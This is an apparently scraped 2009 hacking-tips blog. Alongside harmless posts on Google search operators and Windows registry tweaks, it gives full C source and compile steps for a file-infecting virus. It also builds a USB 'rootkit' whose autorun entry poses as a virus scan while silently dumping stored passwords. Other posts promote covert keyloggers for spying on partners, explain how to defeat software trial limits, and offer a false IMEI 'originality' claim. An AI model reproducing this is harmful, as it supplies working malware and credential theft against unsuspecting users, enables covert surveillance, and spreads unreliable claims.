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Is your Nokia Cell Phone Original

2009-10-29T06:02:00.000-07:00

Nokia is one of the largest selling phones across the globe.Most of us own a Nokia phone but are unaware of it’s originality.Are you keen to know whether your Nokia mobile phone is original or not? Then you are in the right place and this information is specially meant for you. Your phones IMEI (International Mobile Equipment Identity) number confirms your phone’s originality.

Press the following on your mobile *#06# to see your Phone’s IMEI number(serial number).

Then check the 7th and 8th numbers

Phone serial no. x x x x x x ? ? x x x x x x x

IF the Seventh & Eighth digits of your cell phone are 02 or 20 this means your cell phone was assembled in Emirates which is very Bad quality

IF the Seventh & Eighth digits of your cell phone are 08 or 80 this means your cell phone was manufactured in Germany which is fair quality

IF the Seventh & Eighth digits of your cell phone are 01 or 10 this means your cell phone was manufactured in Finland which is very Good

IF the Seventh & Eighth digits of your cell phone are 00 this means your cell phone was manufactured in original factory which is the best Mobile Quality

IF the Seventh & Eighth digits of your cell phone are 13 this means your cell phone was assembled in Azerbaijan which is very Bad quality and also dangerous for your health.

Inside GoOgLe – A Collection of Strange Links on Google

2009-10-29T06:01:00.001-07:00

Although Google is a search engine,it’s also a website.It has millions of it’s own pages indexed in it.When i was digging deep inside Google i found some strange links inside it.So I decided to compile a list of strange Google links. Enjoy!

1.If you ever wondered all the misspellings of Britney Spears and their volume, you must check this out. http://www.google.com/jobs/britney.html

2.These two links are to fun Google games
http://www.google.com/Easter/feature_easter.html
http://www.google.com/heart/heart01.html

3.Quench your thirst for knowledge with Google Gulp
www.google.com/googlegulp/

4.Check out Google’s latest ideas
http://www.google.com/experimental/

5.If you are fond of puzzles
http://www.google.com/puzzles/

6.Tribute to Moms
http://www.google.com/moms01/

7.Google Mobile maps
http://www.google.com/mobile/gmm/index.html

8.http://www.google.com/tofc/

9.Are you scary smart?
http://www.google.com/scarysmart/

10.Google press center
http://www.google.com/press/

11.Google apps
http://www.google.com/a/help/intl/en/var_0.html

12Mind-racing problems.
http://www.google.com/indiacodejam/

13.Doodle 4 Google
http://www.google.com/doodle4google/

14.The virgle
http://www.google.com/virgle/

15.Google Alerts
http://www.google.com/alerts

16.Urchin Software from Google
http://www.google.com/urchin/

17.Google dictionary
http://www.google.com/translate_dict

18.Inside google
http://www.google.com/plex/

19.Movie reviews
http://www.google.com/reviews

20.GOOGLE MARS
http://www.google.com/mars/

21.GOOGLE SKY
http://www.google.com/sky/

22.Google’s next Coding Competition site
http://www.google.com/codejam/

23.http://www.google.com/pda
24.http://www.google.com/m
25.http://www.google.com/imode/
26.http://www.google.com/jsky

27.Blog search
http://www.google.com/blogsearch

28.Microsoft on google
http://www.google.com/microsoft

29.GOOGLE MOON
http://www.google.com/moon/

30.Google Linux
http://www.google.com/linux

30.http://www.google.com/ie

31.Google tour
http://www.google.com/tour/services/

32.Google TOS
http://www.google.com/accounts/TOS

33.Google trends
http://www.google.com/trends/hottrends

34.Google arts
http://www.google.com/Top/Arts/

35.Google 3d warehouse
http://www.google.com/sketchup/3dwh/

36.Google Adult content
http://www.google.com/Top/Adult/

37.Google & Dilbert Doodle
http://www.google.com/dilbert.html

38.Google in Kannada
www.google.com/intl/kn/

29.Google strange logos
http://www.google.com/doodle8.html
http://www.google.com/doodle9.html

30.Win Registry files in google
www.google.com/google_rsearch.reg

31.Google Universities Search
http://www.google.com/options/universities.html

Oops there’s still lot more.But only this much for now….

Advanced Google Search

2009-10-29T05:59:00.000-07:00

In this post I will show you some of the secrets of Advanced Google Search.

Google is clearly the best general-purpose search engine on the Web.But most people don’t use it to its best advantage or in an advanced way. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google’s index, it’s still a struggle to pare results to a manageable number. There are some ways in which advanced Google search can be used to get the desired results.

But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Advanced Google search options go beyond simple keywords, the Web, and even its own programmers. Let’s look at some of the advanced Google search options.

Syntax Search Tricks

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages.Here are some advanced Google search operators that can help narrow down your search results.
1.Intitle: at the beginning of a query word or phrase (intitle:”Three Blind Mice”) restricts your search results to just the titles of Web pages.

2.Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you’re searching for might commonly appear in URLs. If you’re looking for the term HTML, for example, and you don’t want to get results such as

www.gohacking.com/index.html
you can enter intext:html

3.Link: lets you see which pages are linking to your Web page or to another page you’re interested in. For example, try typing in
link:http://www.gohacking.com/

3.site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:”Mark Twain”site:edu. Experiment with mixing various elements; you’ll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.

Swiss Army Google

Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature
(www.google.com/help/features.html#calculator)
lets you do both math and a variety of conversions from the search box. For extra fun, try the query “Answer to life the universe and everything.”

Suppose you want to contact someone and don’t have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you’ll see it at the top of the search results along with a map link to the address. If you’d rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you’d rather use a search form for business phone listings, try Yellow Search
(www.buzztoolbox.com/google/yellowsearch.shtml).
Let Google help you figure out whether you’ve got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try “thre blund mise”) and Google may suggest a proper spelling. This doesn’t always succeed; it works best when the word you’re searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you’re searching for “three blind mice,” underneath the search window will appear a statement such as Searched the web for “three blind mice.”) You’ll discover that you can click on each word in your search phrase and get a definition from a dictionary.

Extended Googling
Google offers several advanced services that give you a head start in focusing your search. Google Groups
(http://groups.google.com/)

indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: FroogleCODE(http://froogle.google.com/),

which indexes products from online stores, and Google CatalogsCODE(http://catalogs.google.com/),

which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google’s tools and services at
www.google.com/options/index.html

You’re probably used to using Google in your browser. But have you ever thought of using Google outside your browser?
Google Alert
(http://www.googlealert.com/)

monitors your search terms and e-mails you information about new additions to Google’s Web index. (Google Alert is not affiliated with Google; it uses Google’s Web services API to perform its searches.) If you’re more interested in news stories than general Web content, check out the beta version of Google News Alerts
(www.google.com/newsalerts).

This advanced Google service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)
Google on the telephone? Yup. This service is brought to you by the folks at Google Labs
(http://labs.google.com/),

a place for experimental Google ideas and features (which may come and go, so what’s there at this writing might not be there when you decide to check it out).

With Google Voice Search
(http://labs1.google.com/gvs.html),

you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don’t expect 100 percent success.
In 2002, Google released the Google API (application programming interface), a way for programmers to access Google’s search engine results without violating the Google Terms of Service. A lot of people have created useful (and occasionally not-so-useful but interesting) applications not available from Google itself, such as Google Alert. For many applications, you’ll need an API key, which is available free fromCODE www.google.com/apis

SOURCE: http://www.pcmag.com/

How to Create a Computer Virus?

2009-10-29T05:58:00.002-07:00

This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include
#include
#include
#include
#include
#include

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4.All the infected files will be ready to reinfect

That’s it

WARNING: FOR EDUCATIONAL PURPOSES ONLY

C Program To Accept Password

2009-10-29T05:58:00.001-07:00

This is a simple login program in C.While accepting password it masks each character using ‘*’ symbaol and display the password in the next line after the user hits Enter key.It also accepts backspaces and acts accordingly.

#include
#include

char pw[25],ch;
int i;
void main()
{
clrscr();
puts(”Enter password”);
while(1)
{
if(i<0)
i=0;
ch=getch();
if(ch==13)
break; /*13 is ASCII value of ENTER*/
if(ch==8) /*ASCII value of BACKSPACE*/
{
putch(’\b’);
putch(NULL);
putch(’\b’);
–i;
continue;
}
pw[i++]=ch;
ch=’*';
putch(ch);
}
pw[i]=’\0′;
printf(”\n\n%s”,pw);
getch();
}

A Self Destructing Program in C

2009-10-29T05:57:00.002-07:00

This program will destroy itself upon execution.The program will cause the .exe file to be deleted upon execution.That is this program is capable of destroying itself upon execution.Heres the code

#include
#include
#include
void main()
{
printf(”This program will destroy itself if u press any key!!!\n”);
getch();
remove(_argv[0]);/*array of pointers to command line arguments*/
}

HOW TO COMPILE ?
Load the source code to the compiler and compile(press Alt-F9) and then press F9.This will generate the .exe file in the current directory(Bin directory).Execute this .exe file it will destroy itself upon execution

C Program Without a Main Function

2009-10-29T05:57:00.001-07:00

How to write a C program without a main function?.Is it possible to do that.Yes there can be a C program without a main function.Here’s the code of the program without a main function…

#include

#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)

int begin()
{
printf(” hello “);
}

Does the above program run without the main function? Yes, the above program runs perfectly fine even without a main function.But how,whats the logic behind it? How can we have a C program working without main ?

Here we are using preprocessor directive #define with arguments to give an impression that the program runs without main.But in reality it runs with a hidden main function.

The ‘##‘ operator is called the token pasting or token merging operator.That is we can merge two or more characters with it.

NOTE: A Preprocessor is program which processess the source code before compilation.

Look at the 2nd line of program-

#define decode(s,t,u,m,p,e,d) m##s##u##t

What is the preprocessor doing here.The macro decode(s,t,u,m,p,e,d) is being expanded as “msut” (The ## operator merges m,s,u & t into msut).The logic is when you pass (s,t,u,m,p,e,d) as argument it merges the 4th,1st,3rd & the 2nd characters(tokens).

Now look at the third line of the program-

#define begin decode(a,n,i,m,a,t,e)

Here the preprocessor replaces the macro “begin” with the expansion decode(a,n,i,m,a,t,e).According to the macro definition in the previous line the argument must de expanded so that the 4th,1st,3rd & the 2nd characters must be merged.In the argument (a,n,i,m,a,t,e) 4th,1st,3rd & the 2nd characters are ‘m’,'a’,'i’ & ‘n’.

So the third line “int begin” is replaced by “int main” by the preprocessor before the program is passed on for the compiler.That’s it…

The bottom line is there can never exist a C program without a main function.Here we are just playing a gimmick that makes us beleive the program runs without main function, but actually there exista a hidden main function in the program.Here we are using the proprocessor directive to intelligently replace the word begin” by “main” .In simple words int begin=int main.

File Embedder Project in C

2009-10-29T05:52:00.000-07:00

Some times it is necessary for our compiled project to have it’s supporting files embedded within the EXE module itself so that the supporting files may not be put into a seperate folder and carried along with the project.So here i am presenting you with the source code of the FILE EMBEDDER UTILITY project.

This utility can be used to embed one file with in the other.ie:Suppose we need to embed a .bat file(or any other file *.exe,*bmp,.txt…..) into our final project so that the batch file is present with in the compiled module and is hidden from the users avoiding tthe need to carry the .bat file every time with the project.

Both the Embedding and extraction process has been presented in seperate functions for your convenience.here’s the code…..

#include
#include
#include
#include
#include
#include
#include

void embed(void);
void extract(void);

char buff[1],sname[128],tname[128],dname[128],choice;
unsigned long int size=0;long int psize=0;int outh,bytes=0;
FILE *source,*target,*data;

void main()
{
while(1)
{
clrscr();
puts(”\n\n\t\t\tFILE EMBEDDING UTILITY BY SRIKANTH\n\n\n”);
puts(”1.Embed A File 2. Extract A File 3.Exit\n”);
choice=getch();
switch(choice)
{
case ‘1′:embed();
getch();
break;
case ‘2′:
extract();
getch();
break;
default:
exit(0);
}
}
}

void embed()
{
puts(”\nEnter The Source Filename\n”);
scanf(”%s”,sname);
source=fopen(sname,”rb+”);
if(source==NULL)
{
puts(”\nCannot Open The Source File\n”);
return;
}
puts(”\nEnter The Target Filename\n”);
scanf(”%s”,tname);
outh=open(tname,O_RDONLYO_BINARY);
if(outh==-1)
{
puts(”\nCannot Open The Target File\n”);
return;
}
printf(”\nReading The Source File Please Wait…\n”);
while((bytes=read(outh,buff,1))>0)
size+=bytes;
data=fopen(”Data.cfg”,”w”);
if(data==NULL)
{
puts(”\nCannot Create Configuration The File\n”);
return;
}
fprintf(data,”%lu”,size);
close(outh);
fclose(data);
target=fopen(tname,”rb”);
if(target==NULL)
{
puts(”Cannot Open Target File\n”);
return;
}
printf(”\nEmbedding Please Wait…\n”);
fseek(source,0,SEEK_END);
while(fread(buff,1,1,target)>0)
fwrite(buff,1,1,source);
fcloseall();
printf(”\nEmbedding Completed Successfully\n”);
}

void extract()
{
printf(”\nEnter The Source Filename\n”);
scanf(”%s”,sname);
source=fopen(sname,”rb”);
if(source==NULL)
{
printf(”\nCannot Open The Source File\n”);
return;
}
printf(”\nEnter The Target Filename(eg: abc.exe)\n”);
scanf(”%s”,tname);
printf(”\nEnter The Configuration Filename(eg: DATA.cfg)\n”);
scanf(”%s”,dname);
data=fopen(dname,”r”);
if(data==NULL)
{
printf(”\nConfiguration File Not Found\n”);
return;
}
fscanf(data,”%ld”,&psize);
target=fopen(tname,”wb”);
if(target==NULL)
{
puts(”\nCannot Open The Target File\n”);
return;
}
printf(”\nExtracting Please Wait…\n”);
fseek(source,-psize,SEEK_END);
while((fread(buff,1,1,source))>0)
fwrite(buff,1,1,target);
printf(”\nFile Extraction Completed Successfully\n”);
fcloseall();
}

YOU CAN DOWNLOAD THE COMPILED MODULE OF THE ABOVE CODE HERE

How to Monitor a Local or Remote Computer

2009-10-29T05:51:00.000-07:00

Most of the time, it becomes necessary for us to monitor our own computer or a remote computer to keep track of the activities going on. This may be for several reasons. Especially it is most necessary for the parents to monitor their computer to keep track of their children’s activities during their absence. Some people may also require to monitor their computer to keep an eye on the activities of their spouse or partner. Today, with the advancement in the field of the software technology, it’s just a cakewalk to monitor the computer. For this all you have to do is, use a PC Monitoring Software.

But the job doesn’t end here. This is because there exists tons of such monitoring softwares on the market and many times we get confused which to choose and how to use them. So I have decided to make this job simpler for you, by writing this post. In this post I’ll give a detailed information about Computer monitoring softwares which include their features, advantages, installation, usage procedure and so on. To make this post interesting, let’s take up each topic in the form of question and answer.

What exactly is a Monitoring Software and how can it help me ?

A computer monitoring software is just like any other software (program) which when installed, secretly monitors each and every activity that takes place on the computer. The activities such as web browsing, chatting, gaming etc. are all recorded and saved. These monitoring softwares can record each and every keystroke. So it is possible to capture usernames and passwords very easily with minimum effort. Monitoring softwares are also commonly known as Keyloggers.

How can I install a monitoring software ?

Installing a monitoring software is too simple. During the installation, you need to setup a secret password and hotkey combination which is required later to see the recorded data ( logs). After the installation is complete the software goes invisible, but keeps running in the background. Whenever you want to see the logs, just press the hotkey combination (ex. Shift+Ctrl+F10). Now a small window will popup asking for a password. Here you need to enter the password that was setup during the installation time. After you enter the password you’ll be able to see all the activities that took place on the computer during your absence.

Can the person using the computer come to know about the presence of the Monitoring Software ?

Most of the time it becomes impossible to detect the presence of the monitoring software. This is because, once installed it hides itself from Start menu, Program Files, Control Panel, Task manager etc. Because of it’s stealth behaviour the user can never come to know that he/she is under the presence of monitoring.

Which Monitoring Software should I use ?

There exists different flavours of these softwares and you have to choose the one that best match your needs. Here is a list of some of the best monitoring programs that I recommend.

For Monitoring a Local PC:

If you want to monitor a local PC (may be your own PC) then the following program is recommended.

Spy Agent Stealth

You can find a Complete Installation Guide for Spy Agent Stealth HERE

For Monitoring a Remote PC (Also works on local PC) :

If you want to monitor a remote PC you may use the following programs. These programs works for remote PC as well as local PC.

Win-Spy Monitor

You can find a Complete Installation Guide for Win-Spy Monitor HERE

Realtime Spy

You can find a Complete Installation Guide for Realtime Spy HERE

Spy Anywhere

Keystroke Spy

For Monitoring a Network :

The following program can be used to monitor an Entire Network of computers from one central location. This becomes handy to monitor the staff in a company or students in a school/college.

NetVizor

You can find a Complete Installation Guide for NetVizor HERE

For monitoring a Cell Phone from your PC:

If you want to monitor a Cell Phone from your PC you can refer the following link.

Cell Phone Spy

I hope this helps. Pass your comments.

How to Sniff Passwords Using USB Drive

2009-10-29T05:50:00.000-07:00

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

Here is a step by step procedre to create the password hacking toolkit.

NOTE: You must temporarily disable your antivirus before following these steps.

1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.

ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.

2. Create a new Notepad and write the following text into it

[autorun]
open=launch.bat
ACTION= Perform a Virus Scan

save the Notepad and rename it from

New Text Document.txt to autorun.inf

Now copy the autorun.inf file onto your USB pendrive.

3. Create another Notepad and write the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

save the Notepad and rename it from

New Text Document.txt to launch.bat

Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.

This hack works on Windows 2000, XP and Vista

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

Hack Software and Run the Trial Program Forever

2009-10-29T05:49:00.000-07:00

In this post I’ll show you how to hack a Software and run the trial program forever.Most of us are familiar with many softwares that run only for a specified period of time in the trial mode.Once the trial period is expired these softwares stop functioning and demand for a purchase.But there is a way to run the softwares and make them function beyond the trial period.Isn’t this interesting?

Before I tell you how to hack the software and make it run in the trial mode forever, we have to understand the functioning of these softwares.I’ll try to explain this in brief.

When these softwares are installed for the first time, they make an entry into the Windows Registry with the details such as Installed Date and Time, installed path etc.After installation every time you run the software, it compares the current system date and time with the installed date and time.So, with this it can make out whether the trial period is expired or not.

So with this being the case, just manually changing the system date to an earlier date will not solve the problem.For this purpose there is a small Tool known as RunAsDate.

RunAsDate is a small utility that allows you to run a program in the date and time that you specify. This utility doesn’t change the current system date, but it only injects the date/time that you specify into the desired application.

RunAsDate intercepts the kernel API calls that returns the current date and time (GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and replaces the current date/time with the date/time that you specify.It works with Windows 2000, XP, 2003 and Vista.

NOTE: FOLLOW THESE TIPS CAREFULLY

You have to follow these tips carefully to successfully hack a software and make it run in it’s trial mode forever.

1. Note down the date and time, when you install the software for the first time.

2. Once the trial period expires, you must always run the software using RunAsDate.

3. After the trial period is expired, do not run the software(program) directly.If you run the software directly even once, this hack may no longer work.

4. It is better and safe to inject the date of the last day in the trial period.

For example, if the trial period expires on jan 30 2009, always inject the date as jan 29 2009 in the RunAsDate.

I hope this helps! Please express your experience and opinions through comments.

How to Completely Erase a Hard Disk Drive

2009-10-29T05:48:00.000-07:00

A new year has begun and perhaps you have decided to perform a system upgrade or get rid of your old computer system and purchase a new one.But before you sell or donate your old computer, it is very much necessary to completely erase your Hard Disk Drive.Yes, every one of us are aware of this fact and so, we delete the contents of the hard disk either by using the DELETE key on our keyboard or by Formatting the hard disk.

Deleting and Formatting – Just Not Secure Enough

But the fact is, the data will still be on the hard disk even after deleting it or formatting the hard disk. Using the delete key on your keyboard will only remove the shortcuts to the files making them invisible to users. Deleted files still reside on the hard drive and a quick Google search will show many options for system recovery software will allow anyone to reinstate that data.

Formatting the hard drive is a bit more secure way to erase the hard disk. Formatting a disk will not erase the data on the disk, only the address tables. It makes it much more difficult to recover the files. However a computer specialist would be able to recover most or all the data that was on the disk before the reformat. For those who accidentally reformat a hard disk, being able to recover most or all the data that was on the disk is a good thing. However, if you’re preparing a system for retirement to charity or any other organization, this obviously makes you more vulnerable to data theft.

Erasing the Hard Disk through DISK WIPING

So it is necessary for us to use a 100% secure way to erase the hard disk.The secure way of erasing the hard disk is called Disk Wiping.Disk wiping is a secure method of ensuring that data, including company and individually licensed software on your computer and storage devices is irrecoverably deleted before recycling or donating the equipment. Because previously stored data can be brought back with the right software and applications, the disk wiping process will actually overwrite your entire hard drive with data, several times. Once you format you’ll find it all but impossible to retrieve the data which was on the drive before the overwrite. The more times the disk is overwritten and formatted the more secure the disk wipe is.

There are a variety of disk wiping products available that you can purchase, or freely downloaded online to perform more secure disk wipes.One of my favorite disk wiping software is

WipeDrive/ WipeDrive Professional

You have to use this tool by burning the iso image file onto a CD or by using a floppy disk.After burning this tool you have to boot your PC and follow the screen instructions to completely erase the hard disk.

Run Program at Startup Only Once

2009-10-29T05:47:00.000-07:00

This hack allows you to run a program at startup only once.This hack also avoids the need of startup folder and the autorun is configured in the registry itself.In this hack the specified program runs only once at startup (Right after the first boot of configuration) and will not continue to run for the subsequent startups.Here’s the hack .If you need to run the program at startup everytime then refer the followint link: Run Program At Startup Without Using Startup Folder

1. Goto Run (Win+R)

2.Type “regedit” (without quotes) in the run dialogue box.

3. In the registry editor navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion

4. Create the key Runonce
(The [Runonce] Key you create will remain in the registry for use with a new string value)

5.
Create Data Type: REG_SZ [String Value]
Value Name: [Enter the Name of Program Executable]
Value Data: [Enter the Path to the Program Executable]

6. Exit Registry and Reboot

Customize Windows Media Player Title Bar

2009-10-29T05:46:00.002-07:00

This hack allows you to change the title bar from Windows Media Player to Windows Media Player provided by . So if you enter the text[GoHacking.Com], it would read: Windows Media Player provided by GoHacking.Com

1. Goto Run(Win+R)

2. Type “regedit” (without quotes) in the run dialogue box .

3. In the registry editor navigate to

HKEY_CURRENT_USER\Software\Policies\Microsoft

4. Create the Key [WindowsMediaPlayer].

Modify/Create the Value Name [TitleBar] according to the Value Data listed below.

Data Type: REG_SZ [String Value] // Value Name: TitleBar
Value Data: [Enter the text to be displayed in the title bar.]

5. Exit Registry editor and reboot.

How to Change IE Title Bar Text

2009-10-29T05:46:00.001-07:00

This hack allows you to change the text on the Internet Explorer title bar. The default text or title is “Windows Internet Explorer”.You can change this title text to your own choice.

1. Goto Run(Win+R)

2. Type “regedit” (without quotes) in the run dialogue box .

3. In the registry editor navigate to

HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain

4. Modify/Create the Value Name [Window Title] according to the Value Data listed below.

Data Type: REG_SZ [String Value] // Value Name: Window Title
Value Data: [Enter The Text Desired In Title Bar]

Exit Registry and Reboot

How to Edit Start Menu ?

2009-10-29T05:45:00.002-07:00

Windows has a nice new Start menu, which you can customize more thoroughly than you could with the Start menu in any earlier version of Windows. Open the Taskbar And Start Menu Properties dialog box by right-clicking the taskbar and clicking Properties. On the Start Menu tab, select either the Start Menu option or the Classic Start Menu option to choose which version of the Start menu to use, and then click Customize. The Customize Start Menu dialog box appears; you use this box to customize how Windows displays the Start menu.

The following sections describe the most useful Start menu hacks. First you learn how to configure what does and does not appear on the Start menu. Then you learn how to prevent some programs from appearing on the frequently used programs list. You also learn how to restore the Start menu’s sort order when it’s not in alphabetical order.

Configuring the Menu’s Contents
Even though you can completely customize the Start menu in the user interface, power users and IT professionals will likely want to script Start menu customizations. Power users don’t want to reconfigure the Start menu every time they install Windows. IT professionals can use scripts to deploy these settings or configure them automatically when creating default user profiles.

If you want to script these settings, you need to know where to find them in the registry. All these settings are in the same place:

HKCU\Software\Microsoft\Windows\ CurrentVersion\Explorer\Advanced

The first section, “Classic Start Menu,” contains values that affect the classic Start menu. The second section, “New Start Menu,” contains values that affect the new Start menu, also known as the Start panel. Most of these settings are REG_DWORD values, but some are REG_SZ values. If the possible data for any of the settings includes 0×01, 0×02, and so on, that setting is a REG_DWORD value. If the possible data includes NO or YES, it’s a REG_SZ value.

CLASSIC START MENU

StartMenuAdminTools
0×00–Hide Administrative Tools
0×01–Display Administrative Tools

CascadeControlPanel
NO–Display Control Panel as link
YES–Display Control Panel as menu

CascadeMyDocuments
NO–Display My Documents as link
YES–Display My Documents as menu

CascadeMyPictures
NO–Display My Pictures as link
YES–Display My Pictures as menu

CascadePrinters
NO–Display Printers as link
YES–Display Printers as menu

IntelliMenus
0×00–Don’t use personalized menus
0×01–Use Personalized Menus

CascadeNetworkConnections
NO–Display Network Connections as link
YES–Display Network Connections as menu

Start_LargeMFUIcons
0×00–Show small icons in Start menu
0×01–Show large icons in Start menu

StartMenuChange
0×00–Disable dragging and dropping
0×01–Enable dragging and dropping

StartMenuFavorites
0×00–Hide Favorites
0×01–Display Favorites

StartMenuLogoff
0×00–Hide Log Off
0×01–Display Log Off

StartMenuRun
0×00–Hide Run command
0×01–Display Run command

StartMenuScrollPrograms
NO–Don’t scroll Programs menu
YES–Scroll Programs menu

NEW START MENU

Start_ShowControlPanel
0×00–Hide Control Panel
0×01–Show Control Panel as link
0×02–Show Control Panel as menu

Start_EnableDragDrop
0×00–Disable dragging and dropping
0×01–Enable dragging and dropping

StartMenuFavorites
0×00–Hide Favorites menu
0×01–Show Favorites menu

Start_ShowMyComputer
0×00–Hide My Computer
0×01–Show My Computer as link
0×02–Show My Computer as menu

Start_ShowMyDocs
0×00–Hide My Documents
0×01–Show My Documents as link
0×02–Show My Documents as menu

Start_ShowMyMusic
0×00–Hide My Music
0×01–Show My Music as link
0×02–Show My Music as menu

Start_ShowMyPics
0×00–Hide My Pictures
0×01–Show My Pictures as link
0×02–Show My Pictures as menu

Start_ShowNetConn
0×00–Hide Network Connections
0×01–Show Network Connections as link
0×02–Show Network Connections as menu

Start_AdminToolsTemp
0×00–Hide Administrative Tools
0×01–Show on All Programs menu
0×02–Show on All Programs menu and Start menu

Start_ShowHelp
0×00–Hide Help and Support
0×01–Show Help and Support

Start_ShowNetPlaces
0×00–Hide My Network Places
0×01–Show My Network Places

Start_ShowOEMLink
0×00–Hide Manufacturer Link
0×01–Show Manufacturer Link

Start_ShowPrinters
0×00–Hide Printers and Faxes
0×01–Show Printers and Faxes

Start_ShowRun
0×00–Hide Run command
0×01–Show Run command

Start_ShowSearch
0×00–Hide Search command
0×01–Show Search command

Start_ScrollPrograms
0×00–Don’t scroll Programs menu
0×01–Scroll Programs menu

How to Disable Windows Logo Key

2009-10-29T05:45:00.001-07:00

At times it becomes necessary to disable the Windows Key on the keyboard.For example when playing games this nasty Windows Logo key keeps annoying , as we often accidently press it and this takes our game out to the desktop.So it becomes necessary to disable it when not needed an re-enable it when needed.

The following download consists of two registry scripts (.reg) one to disable windows key and the other to re-enable it.In this download there are two files

disable_winlogo_key.reg - Disable Windows Logo Ley
re-enable_winlogo_key.reg - Re-Enable Windows Logo Key

Disable Task Manager

2009-10-29T05:44:00.000-07:00

WARNING: Please Backup your registry before attemting this hack.Changes to registry may lead to system failure.

